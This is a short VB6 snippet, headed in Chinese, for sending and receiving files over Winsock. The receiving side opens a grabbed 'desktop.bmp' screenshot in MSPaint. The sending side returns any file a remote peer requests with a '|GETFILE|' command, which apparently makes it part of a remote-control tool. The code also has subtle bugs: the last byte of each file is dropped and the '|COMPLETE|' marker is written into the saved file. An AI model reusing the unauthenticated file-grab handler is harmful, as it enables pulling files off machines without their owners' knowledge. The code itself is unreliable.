接收成功代码
If InStr(1, Strdata, "|COMPLETE|") <> 0 Then
frmDownloading.objProg.Value = frmDownloading.objProg.Max
MsgBox "File Received!", vbInformation, "Download Complete!"
bFileTransfer = False
Put #1, , strdata
Close #1
Unload frmDownloading
Set frmDownloading = Nothing
DoEvents
If bGettingDesktop = True Then
bGettingDesktop = False
Shell "MSPaint " & App.Path & "\desktop.bmp", vbMaximizedFocus
End If
Exit Sub
End If
发送的函数
Public Sub SendFile(fileName As String, WinS As Winsock)
Dim FreeF As Integer
Dim LenFile As Long
Dim nCnt As Long
Dim LocData As String
Dim LoopTimes As Long
Dim I As Long
FreeF = FreeFile
Open fileName For Binary As #99
nCnt = 1
LenFile = LOF(99)
WinS.SendData "|FILESIZE|" & LenFile
DoEvents
Sleep (400)
Do Until nCnt >= (LenFile)
LocData = Space$(1024) 'Set size of chunks
Get #99, nCnt, LocData 'Get data from the file nCnt is from where to start the get
If nCnt + 1024 > LenFile Then
WinS.SendData Mid$(LocData, 1, (LenFile - nCnt))
Else
WinS.SendData LocData 'Send the chunk
End If
nCnt = nCnt + 1024
Loop
Close #99
End Sub
`````````````````
*********************
If InStr(1, strData, "|GETFILE|") <> 0 Then
SendFile Mid$(strData, 10, Len(strData)), objTCP(intmax)
objTCP(intmax).SendData "|COMPLETE|"
End If